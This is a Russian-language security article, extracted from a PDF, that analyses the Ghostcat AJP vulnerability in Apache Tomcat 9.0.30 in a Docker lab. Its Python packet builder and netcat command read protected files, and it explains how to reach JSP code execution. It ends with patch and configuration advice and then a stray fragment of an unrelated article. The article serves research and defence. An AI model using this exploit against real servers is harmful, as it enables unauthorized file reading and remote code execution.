), Java будет при оста нав ливать заг рузку вир туаль ной машины и ждать

под клю чения  отладчи ка  и  толь ко  пос ле  успешно го  кон некта  про дол жит
запуск. У меня получи лась такая стро ка.

‐e ‐‐env

JAVA_OPTS suspend sus‐
pend=y

‐Xdebug ‐Xrunjdwp:transport=dt_socket,server=y,suspend=y,address=*:
5005

За пус каем  кон тей нер.  Не  забывай  проб расывать  порт,  который  ука зал
для уда лен ной отладки.

docker run ‐it ‐‐rm ‐p 8080:8080 ‐p 8009:8009 ‐p 5005:5005 ‐‐name=
tomcatrce ‐‐hostname=tomcatrce ‐e "JAVA_OPTS=‐Xdebug ‐Xrunjdwp:transp
ort=dt_socket,server=y,suspend=y,address=*:5005" tomcat:9.0.30

За пущен ный сер вер Tomcat 9.0.30

От кры ваем  бра узер,  перехо дим  на  запущен ный  сер вер  (не  забывай,  что
порт — 8080) и наб люда ем стра ницу 404. Дело в том, что в пос ледних вер‐ 
сиях офи циаль ного докер‐кон тей нера Tomcat пап ка   со стан дар тны‐ 
ми при ложе ниями была пере име нова на в  . Дос таточ но уда лить
пап ку и соз дать сим линк на ори гиналь ную вер сию дирек тории.

webapps
webapps.dist

docker exec tomcatrce rm ‐rf /usr/local/tomcat/webapps
docker exec tomcatrce ln ‐s /usr/local/tomcat/webapps.dist /usr/
local/tomcat/webapps

Пос ле это го обновля ем стра ницу и видим при ветс твие сер вера Tomcat.

При ветс твен ная стра ница стен да Tomcat

Tomcat работа ет, теперь дело за фрон тендом, который поможет нам в иссле‐ 
дова нии AJP. Я соз дам еще один кон тей нер на осно ве Debian.

docker run ‐it ‐‐rm ‐p 80:80 ‐‐name=apache ‐‐hostname=apache ‐‐link=
tomcatrce debian /bin/bash

По нят но из наз вания, какой веб‐сер вер я буду исполь зовать в качес тве фрон‐ 
та, — Apache. Уста нав лива ем.

apt update && apt install ‐y nano apache2

Я  выб рал  его,  так  как  он  про ще  в  нас трой ке  прок си  до  Tomcat.  Ты можешь
исполь зовать любой дру гой веб‐сер вер по желанию.

Вклю чаем модуль для работы прок си с про токо лом AJP.

a2enmod proxy_ajp

Те перь  редак тиру ем  стан дар тный  кон фиг  вир туаль ного  хос та  (
) и ука зыва ем адрес Tomcat.

/etc/
apache2/sites‐enabled/000‐default.conf

ProxyPass / ajp://tomcatrce:8009/

И перезаг ружа ем Apache.

service apache2 restart

Прок сиру ем тра фик через Apache к Tomcat по про токо лу AJP

По мимо веб‐сер вера, нам так же понадо бит ся какой‐нибудь сниф фер. Я буду
исполь зовать  .  На  этом  стенд  готов.  Кста ти,  если  ты  не  любишь
Docker,  то  есть  вари ант  ска чать  с  сай та  раз работ чика  вер сию  с  готовы ми
бинар никами. Все вер сии мож но най ти  .

Wireshark

в раз деле с архи вами
Те перь мож но перехо дить к раз бору уяз вимос ти.

Продолжение статьи →
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ДЕТАЛИ УЯЗВИМОСТИ. ЧТЕНИЕ ПРОИЗВОЛЬНЫХ ФАЙЛОВ 
НА СЕРВЕРЕ
Apache  JServ  Protocol  (AJP)  —  это  бинар ный  про токол,  соз данный  ради
избавле ния от избы точ ности HTTP. AJP гораз до более эффекти вен, обла дает
высокой  про изво дитель ностью  бла года ря  зна читель ной  опти миза ции
и отлично мас шта биру ется.

AJP обыч но исполь зует ся для балан сиров ки наг рузки, ког да один или нес‐ 
коль ко внеш них веб‐сер веров (front‐end) отправ ляют зап росы на сер вер (или
сер веры) при ложе ний. Сес сии нап равля ются к нуж ному бла года ря механиз‐ 
мам роута, где каж дый сер вер при ложе ний получа ет свое имя.

В сов ремен ных Tomcat исполь зует ся AJP 1.3  (AJP13). Пос коль ку это дво‐ 
ичный  про токол,  бра узер  нап рямую  не  может  отправ лять  зап росы  AJP13.
Поэто му  в  качес тве фрон тенда  выс тупа ет  любой популяр ный веб‐сер вер —
nginx, Apache, IIS.

Ва риант вза имо дей ствия с сер вером Tomcat через связ ку веб‐сер вер —
AJP

WWW

Под робнее  о  про токо ле  ты  можешь  про читать
в  .офи циаль ной докумен тации

По дефол ту Tomcat при нима ет зап росы AJP на пор те 8009.

/tomcat9.0.30/conf/server.xml
<!‐‐ Define an AJP 1.3 Connector on port 8009 ‐‐>
<Connector port="8009" protocol="AJP/1.3" redirectPort="8443" />

Ви дим,  что  дирек тива    отсутс тву ет,  поэто му  AJP  дос тупен  на 
.

address всех
IPv4‐адре сах локаль ной машины

По дефол ту Tomcat слу шает AJP‐порт на всех адре сах IPv4

Та кая нас трой ка край не небезо пас на, и сей час ты пой мешь почему.
Для начала нам нуж но разоб рать ся в фор мате пакетов AJP. Запус тим Wire‐

shark  и  сге нери руем  любой  легитим ный  зап рос  к  сер веру  по  AJP.  В  этом
как раз поможет фрон тенд в виде веб‐сер вера Apache.

Сни фаем тра фик от Apache к Tomcat по про токо лу AJP13 через Wireshark

Пер вые  два  бай та  в  пакете —  это  ,  который  меня ется  в  зависи мос ти
от  нап равле ния  отправ ки.  Пакеты,  отправ ленные  от  веб‐сер вера  к  кон тей‐ 
неру Tomcat, начина ются с  , а от кон тей нера к веб‐сер веру — 0x4142
(стро ка  ,  если  перево дить  в  ASCII).  В  рам ках  уяз вимос ти  нас  инте ресу ет
толь ко  струк тура  пакета,  отправ ленно го  от  кли ента  к  кон тей неру,  то  есть

.

Magic

0x1234
AB

0x1234
Сле дующие два бай та — это раз мер тела пакета. Это обыч ное чис ловое

зна чение типа integer. Далее идет байт, который в боль шинс тве слу чаев ука‐ 
зыва ет на тип сооб щения. С него начина ется под счет дли ны тела пакета.

Су щес тву ют сле дующие типы сооб щений от веб‐сер вера к Tomcat.

Ти пы пакетов к кон тей неру Tomcat

Сра зу прив лека ет вни мание пакет с кодом   (Shutdown), который вык люча‐ 
ет  сер вер.  Спе шу  тебя  разоча ровать  —  пакет  такого  пла на  обра бота ется
толь ко в том слу чае, если он отправ лен с хос та, на котором запущен Tomcat.

0x7

Нас инте ресу ет код  . С таким кодом отправ ляют ся, нап ример, обыч ные
сооб щения  типа  GET/POST.  Фор мат  тела  такого  сооб щения  выг лядит  сле‐ 
дующим обра зом.

0х2

AJP13_FORWARD_REQUEST :=
   prefix_code      (byte) 0x02 = JK_AJP13_FORWARD_REQUEST
   method           (byte)
   protocol         (string)
   req_uri          (string)
   remote_addr      (string)
   remote_host      (string)
   server_name      (string)
   server_port      (integer)
   is_ssl           (boolean)
   num_headers      (integer)
   request_headers *(req_header_name req_header_value)
   attributes      *(attribut_name attribute_value)
   request_terminator (byte) OxFF

За  кодом  идет  метод.  Спи сок  соот ношения  базовых  методов  с  их
байт‐кодами выг лядит таким обра зом.

OPTIONS => 1
GET     => 2
HEAD    => 3
POST    => 4
PUT     => 5
DELETE  => 6
TRACE   => 7

/tomcat9.0.30/java/org/apache/coyote/ajp/Constants.java
// Translates integer codes to names of HTTP methods
private static final String [] methodTransArray = {
   "OPTIONS",
   "GET",
   "HEAD",
   "POST",
   "PUT",
   "DELETE",
   "TRACE",
   ...

В нашем пакете исполь зует ся метод GET, поэто му и зна чение бай та —  .0x2

В пакете AJP исполь зует ся метод GET

Да лее  все  содер жимое  пакета  доволь но  при выч но  и  похоже  на  обыч ный
HTTP‐зап рос. Пос ле парамет ра   начина ется блок заголов ков зап роса
( ). Сле дующие два бай та ( ) отве чают за общее
количес тво  заголов ков  в  зап росе.  Сле дом  за  ним  перечис ляют ся  сами
хидеры. Каж дый заголо вок име ет сле дующий фор мат:

is_ssl
request_headers num_headers

0xA0 + <тип_хидера>[1 байт] + <длина_хидера>[2 байта] + <
значение_хидера>[строка_размера_длины_хидера] + <конец_хидера>[байт 
0x00]

Ко ды для стан дар тных заголов ков опре деле ны в коде.

Ко ды стан дар тных HTTP‐заголов ков в про токо ле AJP

/tomcat9.0.30/java/org/apache/coyote/ajp/Constants.java
// id's for common request headers
public static final int SC_REQ_ACCEPT          = 1;
public static final int SC_REQ_ACCEPT_CHARSET  = 2;
public static final int SC_REQ_ACCEPT_ENCODING = 3;
public static final int SC_REQ_ACCEPT_LANGUAGE = 4;
public static final int SC_REQ_AUTHORIZATION   = 5;
public static final int SC_REQ_CONNECTION      = 6;
public static final int SC_REQ_CONTENT_TYPE    = 7;
public static final int SC_REQ_CONTENT_LENGTH  = 8;
public static final int SC_REQ_COOKIE          = 9;
public static final int SC_REQ_COOKIE2         = 10;
public static final int SC_REQ_HOST            = 11;
public static final int SC_REQ_PRAGMA          = 12;
public static final int SC_REQ_REFERER         = 13;
public static final int SC_REQ_USER_AGENT      = 14;

Не кото рые  заголов ки  край не  важ ны,  нап ример  если    (0x‐
A008) ненуле вой, то Tomcat будет пред полагать, что зап рос име ет тело (как,
нап ример, POST‐зап рос), и попыта ется про читать отдель ный пакет.

content‐length

За  бло ком  хидеров  сле дует  блок  атри бутов.  Его  исполь зование 
 но это самая важ ная часть для понима ния уяз вимос ти.опционально,

Су щес тву ет  нес коль ко  типов  основных  атри бутов,  каж дый  из  них  име ет
код, а струк тура иден тична струк туре хидеров.

<тип_атрибута>[1 байта] + <длина_атрибута>[2 байта] + <
значение_атрибута>[строка_размера_длины_атрибута] + <конец_атрибута>[
байт 0x00]

/tomcat9.0.30/java/org/apache/coyote/ajp/Constants.java
// Integer codes for common (optional) request attribute names
public static final byte SC_A_CONTEXT       = 1;  // XXX Unused
public static final byte SC_A_SERVLET_PATH  = 2;  // XXX Unused
public static final byte SC_A_REMOTE_USER   = 3;
public static final byte SC_A_AUTH_TYPE     = 4;
public static final byte SC_A_QUERY_STRING  = 5;
public static final byte SC_A_JVM_ROUTE     = 6;
public static final byte SC_A_SSL_CERT      = 7;
public static final byte SC_A_SSL_CIPHER    = 8;
public static final byte SC_A_SSL_SESSION   = 9;
public static final byte SC_A_SSL_KEY_SIZE  = 11;
public static final byte SC_A_SECRET        = 12;
public static final byte SC_A_STORED_METHOD = 13;

Од нако любое количес тво дру гих атри бутов может быть переда но и через тип
  (0x0A).  Пара    атри бута  переда ется  сра зу  же

пос ле ука зания это го кода. В этом слу чае струк тура при мет сле дующий вид:
req_attribute имя:значение

0x0a[тип req_attribute] + <длина_имени_атрибута>[2 байта] + <
имя_атрибута>[строка_размера_длины_имени_атрибута] + <
конец_имени_атрибута>[байт 0x00] + <длина_значения_атрибута>[2 
байта] + <значение_атрибута>[строка_размера_длины_значения_атрибута] 
+ <конец_значения_атрибута>[байт 0x00]

Нап ример,  так  переда ются  перемен ные  окру жения.  Пос ле  перечис ления
необ ходимых атри бутов отправ ляет ся байт‐тер минатор (0xFF), который озна‐ 
чает не толь ко конец спис ка атри бутов, но и окон чание все го пакета. Имен но
до него счи тает ся дли на тела пакета.

Вер немся в Wireshark. Сей час в моем зап росе отправ ляют ся два атри бута.

До пол нитель ные атри буты, переда ваемые при помощи req_attribute
в пакете AJP

AJP_REMOTE_PORT: 60588
AJP_LOCAL_ADDR: 127.0.0.1

В коде за обра бот ку APJ‐зап росов отве чает класс  .AjpProcessor

/tomcat9.0.30/java/org/apache/coyote/ajp/AjpProcessor.java
/**
* AJP Processor implementation.
*/

public class AjpProcessor extends AbstractProcessor {

Пос тавим брейк‐пой нт в отладчи ке на учас ток кода, где про исхо дит обра бот‐ 
ка допол нитель ных атри бутов, — метод  .prepareRequest

/tomcat9.0.30/java/org/apache/coyote/ajp/AjpProcessor.java
private void prepareRequest() {
   ...
   // Decode extra attributes
   String requiredSecret = protocol.getRequiredSecret();
   boolean secret = false;
   byte attributeCode;
   while ((attributeCode = requestHeaderMessage.getByte()) != Consta
nts.SC_A_ARE_DONE) {
       switch (attributeCode) {
       case Constants.SC_A_REQ_ATTRIBUTE :
           requestHeaderMessage.getBytes(tmpMB);
           String n = tmpMB.toString();
           requestHeaderMessage.getBytes(tmpMB);
           String v = tmpMB.toString();

Пов торно отпра вим зап рос в бра узе ре и перей дем в дебаг гер.

От ладка метода prepareRequest. Получа ем атри буты из зап роса

В  перемен ные    и    попада ют  имя  и  зна чение  атри бута  соот ветс твен но.
А даль ше про исхо дит неч то инте рес ное.

n v

/tomcat9.0.30/java/org/apache/coyote/ajp/AjpProcessor.java
if(n.equals(Constants.SC_A_REQ_LOCAL_ADDR)) {
   request.localAddr().setString(v);
} else if(n.equals(Constants.SC_A_REQ_REMOTE_PORT)) {
   try {
       request.setRemotePort(Integer.parseInt(v));
   } catch (NumberFormatException nfe) {
       // Ignore invalid value
   }
} else if(n.equals(Constants.SC_A_SSL_PROTOCOL)) {
   request.setAttribute(SSLSupport.PROTOCOL_VERSION_KEY, v);
} else {
   request.setAttribute(n, v );
}
break;

Ес ли  имя  атри бута  не  вхо дит  в  чис ло  обра баты ваемых,  то  управле ние
переда ется на стро ку 732, где вызыва ется метод  .setAttribute

/tomcat9.0.30/java/org/apache/coyote/ajp/AjpProcessor.java
request.setAttribute(n, v );

/tomcat9.0.30/java/org/apache/coyote/Request.java
public void setAttribute( String name, Object o ) {
   attributes.put( name, o );
}

Но в моем слу чае атри бут   вхо дит в спи сок тех, на которые
есть отдель ные вет ки усло вия (кон стан та  ).

AJP_REMOTE_PORT
SC_A_REQ_LOCAL_ADDR

/tomcat9.0.30/java/org/apache/coyote/ajp/Constants.java
/**
* AJP private request attributes
*/

public static final String SC_A_REQ_LOCAL_ADDR  = "AJP_LOCAL_ADDR";
public static final String SC_A_REQ_REMOTE_PORT = "AJP_REMOTE_PORT";
public static final String SC_A_SSL_PROTOCOL    = "AJP_SSL_PROTOCOL";

Что это за атри буты и почему они так важ ны?
Ког да  через  AJP  дела ем  зап рос  к  ста тич ному  кон тенту  (кар тинки,  сти ли,

HTML‐стра ницы  и  так  далее),  то  Tomcat  обра баты вает  такие  зап росы
при помощи  .DefaultServlet

/tomcat9.0.30/conf/web.xml
<servlet>
   <servlet‐name>default</servlet‐name>
   <servlet‐class>org.apache.catalina.servlets.DefaultServlet</
servlet‐class>
   ...
<servlet‐mapping>
   <servlet‐name>default</servlet‐name>
   <url‐pattern>/</url‐pattern>

/tomcat9.0.30/java/org/apache/catalina/servlets/DefaultServlet.java
public class DefaultServlet extends HttpServlet {

При получе нии содер жимого фай ла вызыва ется метод  . Давай
пос тавим на него брейк‐пой нт и сде лаем GET‐зап рос к какой‐нибудь ста тике,
нап ример к логоти пу Tomcat —  .

serveResource

http://apache.vh/tomcat.png

/tomcat9.0.30/java/org/apache/catalina/servlets/DefaultServlet.java
protected void doGet(HttpServletRequest request,
                    HttpServletResponse response)
   throws IOException, ServletException {
   // Serve the requested resource, including the data content
   serveResource(request, response, true, fileEncoding);
}

/tomcat9.0.30/java/org/apache/catalina/servlets/DefaultServlet.java
protected void serveResource(HttpServletRequest request,
                            HttpServletResponse response,
                            boolean content,
                            String inputEncoding)
   throws IOException, ServletException {
   boolean serveContent = content;
   // Identify the requested resource path
   String path = getRelativePath(request, true);

Сна чала про исхо дит вызов  . Это метод для получе ния отно‐ 
ситель ного пути до фай ла.

getRelativePath

/tomcat9.0.30/java/org/apache/catalina/servlets/DefaultServlet.java
protected String getRelativePath(HttpServletRequest request, boolean 
allowEmptyPath) {
   ...
   String servletPath;
   String pathInfo;
   if (request.getAttribute(RequestDispatcher.INCLUDE_REQUEST_URI) 
!= null) {
       ...
   } else {
       pathInfo = request.getPathInfo();
       servletPath = request.getServletPath();
   }

В  про цес се  получа ются  две  перемен ные    и  .
При помощи обыч ных зап росов управлять пер вой мы не можем.

pathInfo servletPath

Пус тая перемен ная pathInfo при обыч ных зап росах

Пе ремен ная   — это путь до зап рашива емо го фай ла в кон тек сте
текуще го  сер вле та.  Я  пыта юсь  открыть файл  из  кор ня — URI:  .
По умол чанию его будет обра баты вать сер влет ROOT.

servletPath
/tomcat.png

Путь до ROOT и отно ситель ный путь до заг ружа емо го фай ла tomcat.png

На деюсь, ты уже заметил инте рес ное усло вие (стро ка 434), которое переда ет
управле ние на рас смот ренную выше логику. Как видишь, здесь при сутс тву ют
атри буты.  В  этом  усло вии  выпол няет ся  про вер ка 

.
javax.servlet.include.

request_uri

/tomcat9.0.30/java/org/apache/catalina/servlets/DefaultServlet.java
protected String getRelativePath(HttpServletRequest request, boolean 
allowEmptyPath) {
   ...
   if (request.getAttribute(RequestDispatcher.INCLUDE_REQUEST_URI) 
!= null) {
       // For includes, get the info from the attributes
       pathInfo = (String) request.getAttribute(RequestDispatcher.
INCLUDE_PATH_INFO);
       servletPath = (String) request.getAttribute(RequestDispatcher
.INCLUDE_SERVLET_PATH);
   } else {

/tomcat9.0.30/java/javax/servlet/RequestDispatcher.java
static final String INCLUDE_REQUEST_URI = "javax.servlet.include.
request_uri";

Ес ли он не пус той, то путь до фай ла, который нуж но про читать, фор миру ется
нап рямую из атри бутов. В этом учас тву ют 
 и  .

javax.servlet.include.path_in‐
fo javax.servlet.include.servlet_path

/tomcat9.0.30/java/javax/servlet/RequestDispatcher.java
static final String INCLUDE_PATH_INFO = "javax.servlet.include.path_i
nfo";
...
static final String INCLUDE_SERVLET_PATH = "javax.servlet.include.
servlet_path";

В текущем зап росе атри буты отсутс тву ют.

Пус тая перемен ная с атри бута ми в зап росе AJP через веб‐сер вер

Нуж но  это  испра вить  и  про верить,  как  фор миру ется  путь  в  этом  слу чае.
Для  это го  нуж но  сге нери ровать  зарос  AJP,  в  котором  будут  при сутс тво вать
ука зан ные  атри буты.  Я  вос поль зуюсь  Python  3  для  фор мирова ния  пакета.
Рекомен дую исполь зовать имен но  третью вер сию,  так  как  там про ще обра‐ 
щать ся с бинар ными дан ными.

Для начала под клю чим модуль  , без него никуда.struct

ajp-packet.py
import struct

За тем  нуж но  сде лать  фун кцию,  которая  будет  пре обра зовы вать  стро ки
в фор мат про токо ла AJP. Это здо рово сэконо мит вре мя.

<длина_строки>[2 байта] + <строка> + <конец_строки>[байт 0x00]

ajp-packet.py
def pack_string(s):
   if s is None:
       return struct.pack(">h", ‐1)
   l = len(s)
   return struct.pack(">H%dsb" % l, l, s.encode('utf8'), 0)

Те перь  прос то  идем  по  струк туре  зап роса.  Сна чала  кон стан та 
для пакетов, переда ваемых от кли ента к сер веру Apache.

Magic

ajp-packet.py
magic = 0x1234

Да лее идет дли на. С ней мы раз берем ся  в  самом  кон це,  сна чала же нуж но
сфор мировать  сам  зап рос.  Поэто му  прос то  идем  по  струк туре 

.
AJP13_FOR‐

WARD_REQUEST

AJP13_FORWARD_REQUEST :=
   prefix_code      (byte) 0x02 = JK_AJP13_FORWARD_REQUEST
   method           (byte)
   protocol         (string)

ajp-packet.py
prefix_code = struct.pack("b", 2) # forward request
method = struct.pack("b", 2) # GET
protocol = pack_string("HTTP/1.1")

Те перь ука зыва ем URI зап роса. С его помощью мож но опре делить сер влет,
в кон тек сте которо го будет выпол нять ся поиск фай ла. Про ще говоря, если ты
хочешь про читать фай лы из дирек тории  ,  то здесь нуж но ука зать 

.  Важ на  толь ко  дирек тория,  ведь  наша  задача —  сфор‐ 
мировать путь до чита емо го фай ла при помощи атри бутов. Сей час я про бую
читать файл из  , поэто му ука зываю  .

examples /
examples/filename

ROOT /anything

ajp-packet.py
req_uri = pack_string("/anything")

Про дол жаем фор мирова ние зап роса.

AJP13_FORWARD_REQUEST :=
   ...
   remote_addr      (string)
   remote_host      (string)
   server_name      (string)
   server_port      (integer)
   is_ssl           (boolean)
   num_headers      (integer)
   request_headers *(req_header_name req_header_value)
   attributes      *(attribut_name attribute_value)
   request_terminator (byte) OxFF

ajp-packet.py
remote_addr = pack_string("127.0.0.1")
remote_host = pack_string(None)
server_name = pack_string("tomcatrce")
server_port = struct.pack(">h", 80)
is_ssl = struct.pack("?", False)

Пос ле  фла га    идет  блок  заголов ков.  Нам  они  не  нуж ны  —  ука зыва ем
количес тво хидеров, рав ное нулю. Не забыва ем, что в пакете раз мер чисел —
два бай та.

ssl

ajp-packet.py
num_headers = struct.pack(">h", 0)

Приш ло  вре мя  бло ка  атри бутов.  Атри бут 
 мож но оста вить пус тым. Глав ное,  что бы он прос то был в пакете,

для про хож дения про вер ки в усло вии. Два дру гих вза имо заме няемы, и на их
осно ве  фор миру ется  путь  до  фай ла  на  сер вере.  Вос поль зуем ся  атри бутом

,  а 
 оста вим пус тым.

javax.servlet.include.re‐
quest_uri

javax.servlet.include.path_info javax.servlet.include.servlet_‐
path

Те перь  нуж но  опре делить,  какой  файл  сто ит  поп робовать  про читать.
Давай  замах немся  на  .  В  обыч ных  усло виях  он
не чита ется, так как при пар синге зап роса выпол няет ся про вер ка пути.

/ROOT/WEB‐INF/web.xml

/tomcat9.0.30/java/org/apache/catalina/core/StandardContextValve.-
java
final class StandardContextValve extends ValveBase {
   ...
   public final void invoke(Request request, Response response)
       ...
       // Disallow any direct access to resources under WEB‐INF or 
META‐INF
       MessageBytes requestPathMB = request.getRequestPathMB();
       if ((requestPathMB.startsWithIgnoreCase("/META‐INF/", 0))
               || (requestPathMB.equalsIgnoreCase("/META‐INF"))
               || (requestPathMB.startsWithIgnoreCase("/WEB‐INF/", 0
))
               || (requestPathMB.equalsIgnoreCase("/WEB‐INF"))) {
           response.sendError(HttpServletResponse.SC_NOT_FOUND);
           return;
       }

Зап рет пря мого дос тупа к дирек тории WEB‐INF в Tomcat

Ра зуме ется,  это  про исхо дит  до  получе ния  содер жимого  зап рашива емо го
фай ла и в про вер ке учас тву ет толь ко  . Поэто му если мы ука жем
этот  путь  в  атри буте  ,  то  дол жны  будем
обой ти про вер ку и про читать файл.

request_uri
javax.servlet.include.path_info

AJP13_FORWARD_REQUEST :=
   ...
   attributes      *(attribut_name attribute_value)
   request_terminator (byte) OxFF

ajp-packet.py
attributes = {
           'javax.servlet.include.request_uri': '',
           'javax.servlet.include.path_info': '/WEB‐INF/web.xml',
           'javax.servlet.include.servlet_path': '',
           }
end = struct.pack("B", 0xff)

Те перь собира ем все перемен ные в одну  . Это будет тело зап роса.data

ajp-packet.py
data = prefix_code
data += method
data += protocol
data += req_uri
data += remote_addr
data += remote_host
data += server_name
data += server_port
data += is_ssl
data += num_headers

Не забыва ем про атри буты.

ajp-packet.py
attr_code = struct.pack("b", 0x0a) # SC_A_REQ_ATTRIBUTE
for n, v in attributes.items():
   data += attr_code
   data += pack_string(n)
   data += pack_string(v)
data += end # packet terminator byte 0xff

Даль ше пос чита ем дли ну получив шегося зап роса и запишем ее в заголо вок
пос ле магичес кой кон стан ты.

ajp-packet.py
header = struct.pack(">hH", magic, len(data))

Со еди няем заголо вок пакета и  тело. Получен ный резуль тат выводим в виде
hex‐стро ки.

ajp-packet.py
request = header + data
print(request.hex())

Для отправ ки буду  исполь зовать  стан дар тный  netcat,  а  hex‐стро ку  пре обра‐ 
зовы вать в бинар ные дан ные с помощью  .xxd

python3 ajp‐packet.py | xxd ‐r ‐p | nc tomcatrce.vh 8009

От прав ляем пакет и в отладчи ке видим, что мы попали в нуж ную вет ку кода.

AJP‐пакет с добав ленны ми атри бута ми

Бла года ря    путь  до  фай ла  стал 
 вмес то ука зан ного в    .

javax.servlet.include.path_info /WEB‐
INF/web.xml request_uri /anything

Путь зап рашива емо го фай ла сфор мировал ся из атри бутов AJP‐зап роса

Имен но этот файл и будет про читан менед жером ресур сов.

Чте ние фай ла /ROOT/WEB‐INF/web.xml через атри буты в AJP‐зап росе

Вот  так  мы  незамет но  про экс плу ати рова ли  ошиб ку  чте ния  про изволь ного
фай ла (Arbitrary File Read) на сер вере. К сожале нию, вый ти из дирек тории 

 не получит ся, так как путь про ходит санити зацию при помощи 
, который вызыва ется из метода  .

we‐
bapps normal‐
ize validate

/tomcat9.0.30/java/org/apache/catalina/webresources/Standard-
Root.java
private String validate(String path) {
   ...
   if (path == null || path.length() == 0 || !path.startsWith("/")) 
{
       ...
       result = RequestUtil.normalize(path, false);
       ...
   if (result == null || result.length() == 0 || !result.startsWith(
"/")) {
       throw new IllegalArgumentException(
               sm.getString("standardRoot.invalidPathNormal", path, 
result));

Так что для чте ния дос тупны фай лы, которые находят ся внут ри веб‐рута, 
 в кон фиге.

app‐
base

/tomcat9.0.30/conf/server.xml
<Host name="localhost"  appBase="webapps" unpackWARs="true" autoDe
ploy="true">

Го товый скрипт для тес тирова ния мож но  .ска чать c моего Гит хаба
Но  это  не  единс твен ная  проб лема,  которую  вызыва ет  манипу лиро вание

атри бута ми зап роса.

Продолжение статьи →



КОТ-
КАК ЭКСПЛУАТИРОВАТЬ НОВУЮ RCE‐

УЯЗВИМОСТЬ 
В ВЕБ‐СЕРВЕРЕ APACHE TOMCAT

ПРИЗРАК

ВЗЛОМ  НАЧАЛО СТАТЬИ←

ВЫПОЛНЕНИЕ ПРОИЗВОЛЬНОГО КОДА
Как я уже говорил, вся ста тика обра баты вает ся при помощи  .
А что с динами чес кими стра ница ми? Tomcat под держи вает 
(JSP), за обра бот ку которых отве чает  .

DefaultServlet
JavaServer Pages

JspServlet

/tomcat9.0.30/java/org/apache/jasper/servlet/JspServlet.java
public class JspServlet extends HttpServlet implements Period
icEventListener {

А вызыва ется он в тех слу чаях, ког да зап рос отправ ляет ся на фай лы, попада‐ 
ющие под мас ку   и  .*.jsp *.jspx

/tomcat9.0.30/conf/web.xml
<servlet>
   <servlet‐name>jsp</servlet‐name>
   <servlet‐class>org.apache.jasper.servlet.JspServlet</
servlet‐class>
   ...
<servlet‐mapping>
   <servlet‐name>jsp</servlet‐name>
   <url‐pattern>*.jsp</url‐pattern>
   <url‐pattern>*.jspx</url‐pattern>

Вы бор того, какой класс будет обра баты вать зап рос, дела ется на осно ве URI:
если  я  зап рашиваю  файл  ,  то  обра баты вать  зап рос  будет

. Пос мотрим, как здесь фор миру ется путь до фай ла.
/anything.jsp

JspServlet

/tomcat9.0.30/java/org/apache/jasper/servlet/JspServlet.java
public void service (HttpServletRequest request, HttpServletResponse 
response)
   ...
   if (jspUri == null) {
       ...
       jspUri = (String) request.getAttribute(
               RequestDispatcher.INCLUDE_SERVLET_PATH);
       if (jspUri != null) {
           ...
           String pathInfo = (String) request.getAttribute(
                   RequestDispatcher.INCLUDE_PATH_INFO);
           if (pathInfo != null) {
               jspUri += pathInfo;
           }
       }

А здесь все то же самое: если при сутс тву ют атри буты,  то путь фор миру ется
на их осно ве. То есть если я отправ лю зап рос на любой файл (даже несущес‐ 
тву ющий) с рас ширени ем .jsp или .jspx, а затем при помощи 

 поменяю путь на дру гой файл — он будет интер пре тиро‐ 
ван и обра ботан как JavaServer Pages.

javax.servlet.
include.path_info

Соз дадим файл   в дирек тории  .test.txt ROOT

/ROOT/test.txt
<% out.print("Hello from JSP compiler!"); %>

Вне сем необ ходимые изме нения в наш скрипт.

ajp-packet.py
req_uri = pack_string("/anything.jsp")
   ...
   'javax.servlet.include.path_info': '/test.txt',

И  сно ва  отпра вим  получив ший ся  зап рос.  Параметр    будет  сфор‐ 
мирован из атри бутов, и получит ся, что он ука зыва ет на тек сто вый файл. Тем
не менее он переда ется на исполне ние как JSP в  .

jspUri

serviceJspFile

/tomcat9.0.30/java/org/apache/jasper/servlet/JspServlet.java
public void service (HttpServletRequest request, HttpServletResponse 
response)
   ...
   serviceJspFile(request, response, jspUri, precompile);

Ин тер пре тиру ем обыч ный тек сто вый файл как скрипт JSP

JSP‐код  успешно  выпол нился,  так  что  мож но  исполь зовать  любой  пей лоад
для выпол нения сис темных команд.

С тем, что бы дос тавить файл с нуж ным пей лоадом на сер вер, проб лем, я
думаю,  не  воз никнет.  Вспом ни,  ког да  ты  пос ледний  раз  видел  при ложе ние
без воз можнос ти заг рузки фай лов (кар тинок, нап ример)? Заг рузить кар тинку
с нуж ным кодом внут ри не сос тавля ет никако го тру да.

На прос торах интерне та  ты най дешь мно жес тво скрип тов, авто мати зиру‐ 
ющих  эту  ата ку.  Вот,  нап ример,  ,  в  котором  реали‐ 
зова на воз можность экс плу ата ции уяз вимос ти.

мо дуль  AJPy  для  Python

ДЕМОНСТРАЦИЯ УЯЗВИМОСТИ (ВИДЕО)

ЗАКЛЮЧЕНИЕ
Рас смот ренная  уяз вимость  отлично  демонс три рует,  как  неболь шой  мис‐ 
конфиг  может  быть  опа сен  для  все го  окру жения.  Рекомен дую  вни матель но
отно сить ся к нас трой ке каж дого объ екта в инфраструк туре и отклю чать неис‐ 
поль зуемые  фун кции  и  про токо лы,  что бы  миними зиро вать  потен циаль ные
точ ки вхо да для зло умыш ленни ков.

Уяз вимость была опе ратив но исправ лена в новых вер сиях Apache Tomcat,
так  что  обновляй ся  на  9.0.31,  8.5.51  и  7.0.100,  в  зависи мос ти  от  исполь‐ 
зуемой вет ки при ложе ния. Если на дан ный момент нет такой воз можнос ти, то
отклю чи исполь зование про токо ла AJP.

/conf/server.xml.old
<!‐‐ Define an AJP 1.3 Connector on port 8009 ‐‐>
<Connector port="8009" protocol="AJP/1.3" redirectPort="8443" />

/conf/server.xml
<!‐‐ Define an AJP 1.3 Connector on port 8009 ‐‐>
<!‐‐ <Connector port="8009" protocol="AJP/1.3" redirectPort="8443" /
> ‐‐!>

Ну а если этот про токол исполь зует ся в работе, то ставь пат чи для сво ей вер‐ 
сии ( ,  ,  ).7.x 8.x 9.x
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ТРЮКИ

Мне час то при ходит ся раз ворачи вать свою рабочую сре ду (в
час тнос ти,  Kali  Linux)  на  новых  машинах:  то  на  железе,  то
на вир туал ках, то сно ва на железе... В какой‐то момент мне
надо ели рутин ные дей ствия, и я решил извлечь из этой ситу‐ 
ации мак сималь ную поль зу  для  себя и окру жающих. В  этой
статье  погово рим о  том,  как мож но орга низо вать  хра нение
сво их  дот фай лов,  что бы  более‐менее  авто мати зиро вать
нас трой ку  и  пер сонали зацию  раз личных  ОС  для  дома
и работы.

.ФАЙЛЫ
Пом нится, как‐то я про читал  , которая про изве ла на меня силь ное впе‐ 
чат ление. Речь там шла нем ного не о том, о чем погово рим сегод ня мы, одна‐ 
ко  глав ная  идея  та же:  боль шинс тво  сис темных  ути лит  исполь зуют  стан дар‐ 
